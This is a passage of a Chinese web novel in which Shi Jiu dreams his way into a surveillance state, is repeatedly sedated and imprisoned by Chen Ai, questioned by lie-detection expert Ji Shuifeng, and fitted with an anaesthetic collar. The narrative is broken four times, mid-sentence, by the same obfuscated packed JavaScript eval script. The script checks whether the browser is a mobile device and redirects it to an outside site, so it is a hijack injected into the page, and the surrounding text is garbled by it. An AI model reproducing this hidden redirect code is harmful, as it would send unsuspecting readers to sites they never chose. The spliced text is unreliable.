时咎舔了一下干得有些起皮的嘴唇,半晌,他露出笑容,沉沉地说:“好啊,但是我想先去一下卫生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187296|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间。” 沉皑微微站直身体,刚要开口,只听季山月已经回答:“给你五分钟。” 时咎翻身下床,动作并不像一个在床上躺了半个月一动不动的人,他往卫生间走去,明显感到背后两道视线凶猛地盯着他,他便转过头对上沉皑的眼睛,附送他了一个虚假的微笑。 沉皑移开视线。 过了很久,久到季山月已经吹着口哨来回踱步,明显不耐烦了。沉皑轻声叹了口气,用下巴示意了一下卫生间的方向,低声说道:“他应该已经跑了。” “啊?”季山月猛然停下脚步,随后快速朝卫生间走去,使劲拉开门,一边拉还在一边说,“不可能啊,卫生间又没窗又没……” 话卡在喉咙,季山月咋舌。 眼前是完全空荡荡的卫生间! 季山月站在门口,表情大写的震惊,好一会儿他才缓过来,自言自语般喃喃骂道:“我靠,还真是瞬移啊?居然真有人拥有这种能力?这小王八退房,鳖不住了。” 沉皑:“……” 季山月一拳打在墙上,皱眉,左思右想,眉头解开,又迅速摇头,最后无解地说:“不是,不对啊,怎么可能有人不知道20岁去登记进化啊?他这话说的就像是,一个人在饭桌前饿死了,有人问他的灵魂说怎么不吃饭呢?他说,哦!原来需要吃饭吗?啊?啊?” “荒唐吗这不?!” 他早知道会这样。沉皑皱眉。 季山月左右焦虑地走着:“现在怎么办?瞬移怎么抓?又消失了怎么办?我怎么抓他啊?” 沉皑轻轻摇头,随后又像想到什么一样说:“可能他会自己回来。” “下次抓到他,就把他带到我姐那儿去!” “嗯。” 抓拥有瞬移这种能力的人不容易,不过沉皑并不担心,他的手往后探,手指摸到腰间别着的麻醉枪,面无表情。 一针麻醉剂昏迷半个月无法动弹,原来,怕麻醉啊。 所以原本沉皑也只是随口一说,但他没想到自己一语成谶。 时咎自己回来了,在再次沉睡入梦时。 时咎再睁开眼发现自己在这个曾经被他掀飞桌子的办公室,桌上的文件整整齐齐、有序的摆放,桌上的相框里有一串看不懂的英文字母。 这回那个人不在,书桌也是新的,但他不知道本来就是新的还是那家伙又搬来了一个。 那家伙?等下! 时咎的表情出现了不可思议的变化,先是茫然,又是懵懂,后来微微张嘴,最后震惊,他的表情此时非常奇怪。 第三次,这不太对。 门把手在这个时候被转动了,时咎猛地转身,但在他看到来人的瞬间,他的额头中心已经抵上枪口,冰冷的触感让他一个激灵。 单纯做梦不至于此,这到底是梦还是什么?如果真的是梦,是不是意味他以后每晚都只会梦到这里,梦到这个人,如果是这样…… 时咎投降般举起双手。 沉皑手微微用力,抵着时咎的额头把他慢慢往后推,一步一步,直到退到墙边,让时咎的背贴着墙。 暗潮涌动,一触即发。 5. 第 5 章 “怎么进来的?”沉皑冷冷地问,举起的手丝毫没有动摇,就这样稳稳地指着时咎,肌肉紧绷着。 他的表情不像在开玩笑,那股低气压已经明显到即使不用刻意感受都让人窒息的程度,时咎知道如果自己说错了什么,这颗子弹真的会从他的后脑勺穿出去。 “怎么进来的?”沉皑问了第二遍,这一遍的声音越发的让人无法呼吸。 时咎刚要开口,话又被新的问题堵回去了。 沉皑放低声音问:“你的能力是瞬移?还是什么。” 能力?什么能力?时咎飞快地想,在上一个梦里,那个叫沈向南的研究员也问过这个问题:打开玻璃,挣脱双层石墨烯绳的能力,是什么? 在这个梦里,他们好像有什么能力系统,每个人或许都有什么不同的能力,但是看当时的研究员质问他的那句话,似乎能打开玻璃,从石墨烯绳里挣脱出来,是什么罕见,或者强大的能力。 瞬移也是。 而现在,眼前这个让别人敬畏的,或许是某个身份地位显赫的人,好像看上去也在提防他的能力。 时咎微微偏头,脑海里迅速浮现出一个合适的回答。但也因为这个偏头,额心的枪毫不留情又往前抵了一分,冰冷的温度贴得更紧了。 “三。” “二。” “一。” 毫无感情的倒数。 时咎讨厌这样的魔鬼倒计时,在看到扣在扳机上的手指动的一瞬间,时咎立刻出声:“我说!” 沉皑的手指没动了,眼睛也没动,就这么直直地、死死盯着他,连呼吸节奏都控制得丝毫不差,就等如果是一个不满意的答复,像碾死一只蚂蚁一样杀掉他。 时咎稍微抬头,叹了口气,装作无奈道:“但是能不能请您放下枪?我真的担心它会走火啊。” 原本以为对方会让自己不要耍花招,但时咎没想到他真的把枪放下了。 “说。”沉皑将枪收了回去,往后退了一步,给了时咎足够的边界距离让他喘息。 时咎还愣了一下,心说怎么这人还怪好呢?他稍微活动了一下有点僵硬的脖子。 “说!”沉皑重复道,语气有些狠了,把时咎的目光拉了回来。 时咎将他编好的话说了出来:“我的能力就是,当你设想我是什么能力的时候,我此刻就是什么能力。” 所以在他越狱的时候,是谁假设了他当下可以越狱这个能力的呢? 那么在自己回办公室的时候,是脑子里的“只有瞬移这个能力可以解释”这个想法,真的赋予了他瞬移到自己办公室的能力吗? 时咎使自己的呼吸慢下来,装作非常理直气壮,又想,梦里的人没这么聪明吧?但接着沉皑说的话就打破了他的幻想。 “可是我觉得你的能力是可以变成一头豹子?” “嗯??” 时咎眨了眨眼,他并没有变成豹子,也没有变成其他什么动物,他就是时咎,毫无变化地站在这里。 沉皑嘲讽般笑了一声,退回去坐在自己的椅子上,二郎腿又翘起来,就这么盯着他。时咎什么都没变,唯一有变化的,就是他的脸色。 轻敌了。 手铐被束缚在手腕上时,时咎有一瞬恍惚。 沉皑的脸上毫不避讳地写满了嘲讽,接着打了个电话冷冷地说:“来我办公室接人。” “喂!蓝眼睛的!”时咎挣扎了一下,接着收到对方一记冷冽的眼刀。 对方给他扯了个悠然的笑容,轻描淡写道:“你运气不错,我没有麻醉剂了。” 时咎:谢谢,我不需要这样的好运气。 熟悉的剧情,熟悉的监狱,只是这次换了一个房间。 为了防止他再次越狱,这次看守的人直接推着滚轮桌子设备挪到了时咎牢房的门口。 时咎冷哼:“倒也不必如此。” 外面的人正在吃饭,一边吃还一边回答他:“不行,再让我和沉先生解释一次,我会愧疚死的。”吃饭的间隙,他不停抬头往后张望,沉先生交代了为这位被关押者注射麻醉,但安全管理中心的人什么时候来送麻醉剂? “哦,沉先生,他叫什么啊?”只是想起还没有好奇过这个人的名字,便顺口一问,时咎靠着墙坐在地上,百无聊赖地琢磨这个房间墙上的东西,一边看,一边问。 这个房间用的类似文化石饰面,但也只是在普通的水刷石里做了一圈点缀,而点缀的正中央是一副布面油画。画上是……好像是一场战役。 外面的人用看怪物的眼神看了他一下,但还是回答了:“沉皑,沉默的沉,白岂皑。” “沉皑?”时咎听到这个名字,皱起了眉,他转过身看向外面的人,好像在向他确认这个名字,脸上疑惑的表情非常清晰。 沉皑……沉皑…… 他又在心里将这个名字默念了几遍,嚼碎了又吐了出来。 只听外面的人继续道:“不过不要喊他全名你知道吧?” “为什么?”时咎不理解。 “为什么?!咳咳!”对方显然很吃惊,吃惊到一口气没上来,被饭给噎住了,剧烈咳嗽起来,好一会儿才平复,他接着说,“你?你不知道?没读过书?” 时咎沉默两秒,突然露出一个不怎么像笑的假笑,他说:“对啊,没读过,家里穷。” 外面的人彻底蒙圈了,他点点头,不可置信道:“我还是第一次听说……哎,总之,不要叫沉先生全名,不尊重的。” 时咎微微颔首,想起了那位研究员之前的表现:“所以你们都怕他?”说话间,时咎又转回身去重新研究那副画。 画里有一座高塔,高塔接近顶端的窗户可以看到下面战乱的场景,塔下的人们高举着武器。有些类似于图像再现领域里镜像的技术,这个技术和意识形态在这幅画里被严格展现出来。 再看回画的内容,时咎发现高塔下的人们手里的武器都是面对着自己,显得这座高塔就像塔罗牌里高塔的含义。 自我攻击…… 外面的人将碗往旁边一放,发出清脆的磕碰声,食物的香味还有残留。他快速擦了擦嘴,回答道:“不是怕,是敬重,大家都很敬重他,你也可以理解成怕吧,但不是你想的那种怕。反正,沉先生人很好。” “……人很好?”时咎将心思从画里抽离出来,他完全无法理解这句话,总感觉他们对这个词的理解或许有巨大偏差。 没等对方回答,监狱门口传来杂乱的脚步声,伴随着撕裂的呼救。 “不是我撞的!真的不是我!他自己掉下来的!” 一双运动鞋凌乱拍打地面,听上去是被强行拖着在走,还有一双皮鞋稳稳地落着。 时咎听到他们逐渐靠近自己。 “你们去上面检查痕迹!人不是我撞的!文明中心不能这样!” 一个青少年模样的人逐渐出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187297|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在时咎的视野,他用力挣扎,背后还有一名似乎是管理治安的人员押送着他,遏制了他的行为。 这人被关进时咎旁边的小房间,青少年猛扑上去抓着门拍打,门被晃得整个监狱吵闹得不可开交。 治安人员转身的时候,时咎看到他制服上写着:安全管理中心。 安全管理中心,他有印象。 外面的人说:“抱歉带您来监狱,因为您未成年,我们无法连接您的意识,并对当下对真相有所了解。案发现场只有您一人,我们只能暂时将您扣押了,在查明情况后会第一时间将您释放出来。” 聒噪声小下去,只留几声有气无力的拍打。 同样的声音再度响起,但这回他没有对着被关的人说话,他说:“沉先生申请的麻醉剂在路上了,马上就会到。” “啊好的好的不着急!” 时咎眉心一跳。 脚步声远去,最后消失,隔壁房间的青少年停止发出噪音,监狱安静下来。 上一次瞬移离开这里是他往门上撞,虽然过程令人咋舌,但总归能出去。 这么想着,时咎打算复刻上次的行动。他的姿势都摆好了,突然听到一个幽幽的声音传来。 “你相信世界上有鬼吗?” 时咎冲出去的动作急刹车,他扭头看向唯一一个可能对他说话,声音还很陌生的人,难以理解地问:“你在跟我说话?” 转过头,目光和隔壁刚被关进来的青少年对上,见对方点头,目光正是盯着时咎。 青少年坐在地上,双手腕搭在膝盖上。一副快要融化的样子,眼神阴郁地说:“我刚刚在开车下山,从马路边冲出来一个人,披头散发,吓我一跳,但也没撞到,我听到那个人一直在喊什么,有鬼啊有鬼啊,我觉得很瘆人,但还是停车问他需不需要帮助,那个人不理我,就一直大喊往山上跑,我就没管他继续开车,没多会儿刚刚那个人不知道在山上哪个地方掉下来,砸在我车头上,死了。” 时咎皱眉:“你……” 他刚想说点什么,对面青少年却猛地站了起来,一下冲到离时咎最近的地方,双手死死握着粗实的管道,眼睛瞪得里面的红血丝浮现出来,他的嗓子很哑,近乎压着喉结小声嘶吼道:“我问你,真的有鬼吗?!” 他目眦欲裂:“我怎么觉得,世界上真的有鬼呢?” 说完,他朝时咎露出一个上下各八颗牙齿的微笑,看得人不寒而栗。 他失神般后退两步,紧接着坐回房间的地上,背贴着墙,浑身颤抖着埋头在双膝间,开始自言自语般喃喃:“不要相信任何人。” “不要相信任何人。” “不要相信这里的任何人。” “文明是假的,自由是假的,不要相信任何人。” “世界末日要来了。” “祂要来了。” “祂要卷土重来了。” 越说下去,他的声音压得越低,听上去让人越不适,如同古神与他耳鬓厮磨。 就在这时,监狱外面传来响亮的声音打破这阴影鬼魅的呢喃:“你好,沉先生申请的麻醉剂。” 时咎的思绪被打乱,他的心跳停了半秒,目光默然从那个青年转移到管道的坚硬上。 半分钟后,刚接到麻醉剂、准备按照沉皑的意思为时咎注射麻醉的小狱卒,连滚带爬打电话通知沉皑—— “沉先生,那个,他,他又越狱了!!” 6. 第 6 章 熟悉的失重感让时咎一阵反胃,他这次运气空前好,瞬移出现的地方是沉皑办公室,而沉皑此时也正在办公室。 好得有点过头了。 时咎意识到的时候已经站在沉皑旁边,沉皑也立刻察觉到了不对,猛地抬头,他连电话都还没挂,另只手迅速向腰间探去。 时咎的反应速度前所未有的快,但还是没有快过沉皑的速度,只听他刚说了一个“等”字,那边掏出的麻醉枪已经扣下了扳机,疼痛瞬间没入手臂。 时咎来不及说话,下一秒他倒了下去。 真巧,有人越狱越到逮捕他的人身边。两个人同时想到这一点。 沉皑瞥了一眼地上的人,慢悠悠地重新设定麻醉枪的剂量,把枪收回去,没有碰躺在脚边的人,继续忙手里的工作。 三个小时,时咎转醒,醒来的时候他躺在沙发上,办公室里沉皑依然埋着头,桌上一叠纸,他一张一张认真地看着,察觉到什么,抬起头,冷冷地问:“醒了?” 时咎还没开口,沉皑便打断他,声音里只有漠然:“被麻醉的时候瞬移不了,如果你坚持不肯跟我说实话,我能让你永远走不了。” 好有威压的人。 时咎捂着头思索,从这几次的经验来看,他发现几个点。第一:如果现实中醒来,他在梦里的表现是直接消失,比如那次医院洗手间消失; 第二:他被麻醉剂射中之后,能感觉到自己立刻坠入更深的梦境,那里只有一片无意识,什么都做不了,甚至醒不来,所以麻醉完全克制他,他需要提防; 第三:他能意识到这是梦,但是他在梦中没有主动权和操控权,唯一的独特之处在于瞬移。他只是一个意识体,这就是他最大的优势,其余的,他们所说的能力,他更是没有,连醒来的时间点都是机缘巧合,刚好梦到这,而刚好他醒了,即他□□死不了。 第四:不管是睡着进入梦中,还是瞬移后的目地,他都只出现在沉皑附近。虽然仅仅几次,还需要再观察,但这显然不是个好消息,如果瞬移可以作为他逃离的工具,瞬移的目地却是以沉皑为圆心,那他将无法逃脱,他得再尝试几次后,重新评估潜逃的风险。 脑子里风卷残云般掠过一条一条的优势劣势,最后时咎得出结论:他得老实一些,至少装老实一些,然后瞬移走,以最快速度逃跑。 他举起双手高过头顶:“我不跑,我说。” 沉皑放下需要签字的最后一份文件,将这些纸全部推到一边,慢条斯理给自己倒了杯茶,随后从腰间把麻醉枪拿出来,“啪”一声看似随意往桌面上一放,坐下,翘起二郎腿。 “能力是什么?”他直接问。 好,第一个就是无法回答的问题,时咎在想如何解释能让真相更易于被接受。 静默的时间里,沉皑用手指不紧不慢轻轻敲击桌面。 哒,哒,哒,哒—— 像某种时间流动的具象化,像某种倒计时,在安静的空间里缓缓地、令人窒息地淌着、积累着,和秒针高度重合着。 沉皑没有催促,时咎也不知道怎么编造。 最后,时咎开口:“我不知道。” 桌面的敲击声停止了,于是时间的流动也停止了。不多时,沉皑笑了笑,但这笑里并没有善意。 “时咎。”沉皑咬字清晰地念了他的名字,接着说道,“我认为你没有理解我刚刚说的话。” “我理解。”这次他倒是回答得很快。 沉皑饶有兴致地抬眼瞥了他一下,轻声说:“是吗?” 时咎露出轻浅的笑容,他说:“其实,我只是在做……” “梦”字还没出口,时咎已经大步一跨,转头就向墙上撞去。不知道能瞬移多远,就算是以沉皑为中心,能多远就多远! 剧烈的疼痛袭来,熟悉的头晕目眩令他几乎作呕出来,在这片极致的异常感里,他的大脑依然在极速运转:睁开眼他就得跑! 然而等时咎睁开眼,脸色一下就白了。 他没离开,原地瞬移。 办公室很安静,听不到外面丝毫动静,除了空气静谧的流动。 他嘴唇动了动,抬眼看见坐在椅子上的人。 沉皑正在不紧不慢擦枪,动作熟练优雅,片刻,他轻轻笑了声,举起枪,对着时咎毫不犹疑扣下扳机。 身影一晃便倒下。 沉皑慢条斯理给安全管理中心打去电话申请:“季水风在安全管理中心吗?我需要申请测谎。” 挂了电话,沉皑把倒在地上的人整个抱起来,开门往安全管理中心走去。 起源实验室是沉皑的地盘,没有人质疑他的行为,所以当公民们再一次看到他抱着一个青年出去的时候,最多心下嘀咕,并没有人多想。 除了一个。 舟之覆若有所思看着沉皑的背影,眼睛眯起,他刚刚遣送一批未成年交付教化所回来,就看到这么奇怪的场面,表情是不能理解。 不知道昏睡多久,时咎几乎以为自己会这样永远沉睡在梦里了,他好像漂浮在半空,有人在抱着他走,只是这怀抱很坚定很稳,他感觉不到任何不适。 突然抱着他的人停下脚步了,耳边是隐隐的嘈杂声,那些声音像当他潜入水里时,听到水面上的人说话的感觉。 一个颤颤巍巍的老者声音由远及近响起:“沉先生,沉先生啊。” 沉皑:“怎么了?” 那声音震得时咎的耳膜嗡嗡作响,这让他意识到自己的头正贴着沉皑的胸膛,所以对方的声音以一种低沉到轻微震动的形式直接传达到自己的耳朵。 老者说:“刚刚安全管理中心给我打电话,他们因为怀疑我孙子开车撞人,把他临时关到监狱,但是他刚刚在监狱里自杀了。” 声音静默片刻,沉皑说:“抱歉。” 老者的声音比刚刚急切了些,甚至带上些许痛心,他说:“沉先生,我孙子最近一直不太对劲,他总说有鬼,总说……有什么东西要来了。” 沉皑没说话,时咎只听得到他的心脏慢慢跳动,每一下都非常有力而稳定。 老者的音调上扬,带着不敢说大声的心惊,缓缓询问:“沉先生,您,您觉得,恩德诺的公民,还记得虚疑病吗?” 在听到“虚疑病”三个字的时候,时咎感觉到一瞬震耳欲聋,是沉皑的心脏重重抢跳一拍,接下来是长久的心悸。 虚疑病,这个文明的所有人都不会忘。 两百年前,一场战争后的瘟疫席卷全球,瘟疫夺取人们的理智与信任,对资源抢夺的战争最后演变成公民互相残杀或者自杀,那场瘟疫后,全球人口总数骤降。 虚疑病的取名很表面:虚妄、怀疑。很多传染疾病攻击人体免疫系统,但虚疑病攻击人的大脑。 但向死而生,从噩梦般的瘟疫里存活下来的公民建立起了现在透明的文明,并命名为:恩德诺。 意为:生命力、永恒。 沉皑抿唇,低声说:“记得。” 他的心跳从心悸再次慢慢稳定下来。 老者喃喃自语:“虚疑病,虚疑病啊,我们是不是永远逃不出它的捕食。” 时咎的头昏昏沉沉,他再次听到声音时,周围已经安静下来,只有一个很温柔,偏中性的女声在旁边说话。 “小言?不哭好吗?有什么话好好说吧。” “你的父亲很忙的。” “言不恩?你不该,哎算了,我晚点去你家接你,但是我现在还有点事,得再晚点,好吗?” “再见。” 没多会儿,有电话再次响起来,响得时咎很心烦。 “喂?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187298|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是,我是季水风。” “嗯,多找一些有经验的老师吧,贵一些没关系,有缺口我来补,那些小孩子要照顾好。” …… 近乎于母亲的温柔。 时咎猛地起身,而太快的动作导致他岔气,不住咳起来。 季水风的目光立刻扫了过来,刀片一样的视线径直钉在时咎身上。 意外感受不到疼,也感受不到恶意。和沉皑那种,即使没有散发攻击性,淡淡一眼,却让人感受不到善意不一样。这是完全相反的两个人。 等他缓过来,季水风端了一杯水放在他面前,自己也在这儿坐下了。 是一间很小的审讯室,四面白墙,和之前的监狱不一样,这儿肉眼可见更加严密的环境,看不到门,令人有幽闭恐惧症般的窒息,时咎看到她身上的徽章写着:安全管理中心。 被移交最高安全管理机构来了。 季水风端正地坐着,整个人的状态非常松弛,她随意摆弄自己的头发,柔和地说:“你的情况我听沉皑说了,放心,我们不会伤害无辜公民,我只想问你几个问题,然后就放你走。” 时咎抿唇看着他没说话。 季水风伸手轻轻拍了拍他的肩,说,“你还记得你昏迷前见到的最后一个人是谁吗?” 如果不配合,他是不是一直都循环在自证和被逮捕的恶性循环里? 越是停留在这个梦里,越是诡异,他可以正常行动并颇有逻辑,梦里的人也不像虚无的灵魂,好像是真正的人,完全有现世的行为方式与认知,梦不是这样的。 时咎的目光再一次扫视过这个房间和眼前的女人,随后往后仰,靠在椅子上说:“蓝眼睛那家伙。” 听到这个回答,季水风诧异了一下,但很快她接着问:“对他印象怎么样?” “有病。” “还有吗?” “多疑,脾气不怎么样,冷漠,毫无共情能力,挺强的吧,挺有压迫感,但对我没用。”时咎眼睛轻微往上翻,但这个表情在季水风的眼里寓意非常明显:不屑。 “季山月你也见过了吧?对他印象怎么样?” 时咎歪头想了下:“你说那个大块头啊?病得比蓝眼睛那家伙更严重吧?”说完时咎觉得可能这么说不太合适。季山月、季水风,两个人明显是有某种关系的,而他却当着其中一个人说另一个人坏话。 季水风的目光拍在他的脸上,像能洞穿一切的目光,她没有发表意见,而是继续问:“你在城市里见过一个带石头的小女孩对吗?你们聊了什么?” 时咎回忆:“我撞倒她,帮她捡石头。” 季水风温柔的声音:“你的能力是瞬移吗?” “我不知道!”他轻轻抿嘴,一边的肌肉紧缩了一瞬。 “你今年多大?” 时咎原本想诚实回答,但同样的错他不会再犯第三次,他胡诌:“十九。” 季水风的眼睛微微搭下来一些。 她问:“我听说你不知道登记进化的事?” 时咎轻声:“我知道。” 季水风皱眉,站起来,朝外面示意。 一瞬间,四面墙的玻璃变暗了,变成了透明玻璃,呈现了它外面本来的样子:竟然是单面玻璃监视墙!而外面,沉皑和季山月正坐着。 时咎:“……”有一种背后说人坏话被当事人逮到了的感觉。 季山月脸都青了,见单面玻璃终于被拉下来,立刻骂骂咧咧了好几句,末了还补了句:“嘿哟还真是,小王八给他儿子奔丧,鳖死了。” 沉皑没有表情,并没有因为时咎的评价产生任何情绪波动,只是看着里面。 季水风无奈耸肩,她的声音很温柔,但说出来的话却让时咎头皮发麻。 “他在撒谎。” 7. 第 7 章 空气骤然紧绷。 居然是测谎。时咎的身体不自觉动了一下,他感觉肢体有些发麻。 他现在该怎么办?如果被麻醉,他不仅在梦中被剥夺意识,连醒来也做不到,他会被困在梦里。如果瞬移走,沉皑就在眼前,会不会和上次一样原地瞬移? 想要破除当下的困境,在没被麻醉且无法自然醒来的情况下,他的选择其实只有一个:说实话。 但问题接踵而至,实话显然是一个正常人无法理解的回答。但至少,可以通过测谎。 姑且一试。 这么想着,外面的人已经一步一步走了进来,那脚步沉稳得如同死神逼近。 沉皑走到时咎面前,还没开口,时咎打断了他:“我说。” 沉皑微微抬下巴表示同意,并坐在季水风旁边,他的对面。 敌对的姿态。 时咎慢慢说:“我也不知道,你们所说的能力是什么。” “我……” “我在做梦。” “我躺上床,睡着,再反应过来的时候,就看到你,一直到我醒来,睁开眼,我还是躺在我的床上。”时咎一字一句说道,“你们觉得我瞬移了,其实我猜,只是控梦的一种。” 沉皑原本是向后靠在椅子上,听到这话,他坐了起来,身体微微向前倾,并且双手交握起来。 “你是想说,那么刚好,两次我把你关进监狱,你控梦离开了,打电话叫人来押送你,你又离开了,正要逮捕你去安全中心,就去卫生间的两分钟,你又?” “嗯。”时咎极其短促地回答。 “所以,你不知道每个人20岁后都需要来起源实验室登记,进行思维透明化的进化,是因为你想说,这一切,包括我,都是你的一场梦。” “嗯。” 沉皑轻声叹气,他的手慢慢向麻醉枪移过去,然后稳稳拿起枪,抬起手,对准时咎,手指扣到扳机上,最后非常冷漠地压低声音说:“我给过你机会了。” “等一下!”季水风突然出声阻止,然而没来得及。 银针在时咎的瞳孔里放大,最后扎进了他的脖子。 审讯室陷入死寂,很快,季山月在外面嘟囔了一句:“我靠,自从几年前文明中心广场上玩自焚,被我一枪毙了那老哥们起,好久没遇到这么癫的人了。”说完他看了眼时间,想起自己的巡查任务,匆匆离开审讯室。 密闭空间内,季水风有些咋舌,她转过身,震惊道:“你动作太快了。” 沉皑:“什么?” 季水风错愕说:“他刚刚最后说那几句,是实话。” 沉皑眉头一下就拧起来了。 季水风,安全管理中心最高管理,恩德诺唯一的测谎专家,从未出错。 梦? 时咎好像听到了很多声音,接着只剩下浓雾裹挟的坠落。 是一个久远的梦,出现在梦的梦中。在很小的时候,好像他也偶尔做过一些梦,但跟现在不一样,那时候的梦就是他理解的、传统意义上的梦,杂乱无章、混乱无序、毫无逻辑,碎片式的场景。 当时他醒来后只记得一些零碎的画面:深红色的天,炙热的高温,他跑进一条狭长的隧道,又从隧道另一头跑出来,闯进一扇金色的门,门后是铁轨和列车,列车还有它自己的名字:黄粱一梦。 时咎不知道自己昏迷多久,也许时间不长,当他再次睁开眼,发现自己依然在安全管理中心,只是自己的位置从单面玻璃审讯室变为审讯室外的沙发上。 时咎微微睁开眼,没动,目光轻扫过他所在的地方。 半墙的监视器,实时播放着审讯室内外每个角落的场景,视野能看到最高处几块监视器,也能清晰观察到门外走廊的动静。 那两个人也在,他们好像一直在谈论什么,只是这个时候时咎才把注意力集中到他们谈话上。 季水风:“我听说你刚刚遇到死者家属了?” 沉皑:“嗯。” 沉皑的声音很干脆简洁,时咎发现这个人似乎对谁说话都是这个语调。 不对——他对自己说话格外冷漠,好像自己对他做了什么见不得人的事一样。 季水风:“我最近收到了一些消息,你知道,是关于虚疑病的。” 沉皑没说话。 她的语气有些开玩笑的成分,显得有些过于漫不经心,像在刻意掩盖情绪:“你说,历史会不会重演?” 虚疑病,这是时咎第二次听到这个词,上次的记忆有些模糊,但现在他确定了。并且在听到这三个字的时候,他的耳膜仿佛响起了震颤,是沉皑的心跳。 沉皑平淡道:“不会。” 停顿一会儿他又补充道:“跟两百年前不同了。” “不同在哪?” “我们的公民知道什么是爱,什么是信任,历史既然在进行,就不会总在同样的事上有同样的结果。” 一个人不可能两次踏进同一条河,历史的轨迹总会有新的方向。 季水风笑了下,认可他的话:“你说得对。” 她换了话题:“对了,我还听说一件事。如果你觉得这个小朋友对公民有威胁,完全可以直接交给我们的,但我听说,你总是亲自抱他去……嗯……” “看来安全管理中心很闲。” 季水风笑出声,她放松道:“一般闲,我只是没想到沉先生也有包藏私心的时候啊。” “我什么都没说。” “好吧,我只确定他对公民的安全没有威胁,其他的,你随意。” 短暂的沉默,感受得出来另一个人不想回应这句话。 听到这里,时咎轻轻咽下口水,却只觉喉头一紧——有什么东西卡住他的脖子了,他的手立即不自觉摸了上去。 随即他的头皮宛如烟花爆炸,炸得他几乎无法思考。 这是什么? 他看不到,但他摸到了一个皮质环状物,套在他的脖子上。这不是他的。 脖环? 沉皑听见动静转过身,两人的对话即刻终止。 他对上时咎错愕的表情,双腿交叠,平静道:“不要尝试暴力拆解。” 时咎皱眉,撑着身体坐起来,哑着嗓子问:“你给我戴了什么!” 沉皑轻描淡写:“麻醉脖环,持续微量向你的身体注射麻醉,不会影响正常生活,只是能克制你的能力,这件事如果你不解释清楚……” “我给你三天时间,你可以组织语言,三天后它会自动打开,一个月后,它会自爆。” 时咎瞳孔骤缩。他的思维在当下转得很快:被麻醉,瞬移不了,同时也意味着无法从梦中醒来,那他现实中会怎样? 同时,沉皑又补充道:“如果你尝试暴力解开,它会立刻自爆。解除口令在我这里……啊,不是自爆。” 他笑了下,轻声说:“是永久麻醉。” 时咎听到了自己剧烈起来的心跳,如同高空坠毁。 沉皑将交叠的腿放下,他拿出手机拨通电话,时咎听到他在告诉电话那边的人说临时准备一间操作室,用于一次进化。 随后沉皑站起来,居高临下瞥他一眼,手里把玩的手铐明晃晃的,碰撞在一起发出清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187299|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆的叮声,他说:“伸手。” 时咎拒不配合,接着他听沉皑叹了口气,淡淡说:“时咎,我不想这样对你,但你最好配合一点。” 他说话的语气温柔了些,但眼神却落在脖环上。 锋利的蜜糖。时咎咬牙,伸出手。 不会死,是他最大的底气。他像真实生活在这里一样,在明白这个梦的原理前,他可能得蛰伏一阵。 “咔嚓。”冰凉被套在他的手腕上。 “我也过去。”季水风柔和说。 时咎从未这么憋屈过,脖子被戴上了夺命锁,而他此时正被这位要他命的人拉着手铐的中央被迫往前走。 他们从安全管理中心下楼,穿过人群,走到广场,往起源实验室的大楼方向走去。 有人在看他们,但并没有人窃窃私语。 进化,刚刚沉皑说进化。时咎心思一直在转,他们要把自己送去进化?但他只是一个做梦的人,这个世界的科技用在他身上会呈现什么效果? 或许他的眉头皱得太过夸张,季水风转过头的时候,看到时咎思虑的表情,她撩开自己的头发,慢了一步走到时咎身边,小声对他说:“你别害怕,只要你没有恶意,沉皑不会真的伤害你,配合他就好了,他人很好。” 又是这句话。时咎一点没感觉到,他只觉得这位沉先生简直是恶魔的化身。 为了缓解手腕被牵扯着往前走的疼痛,时咎的目光随处张望,望向他们的目的地:起源实验室。 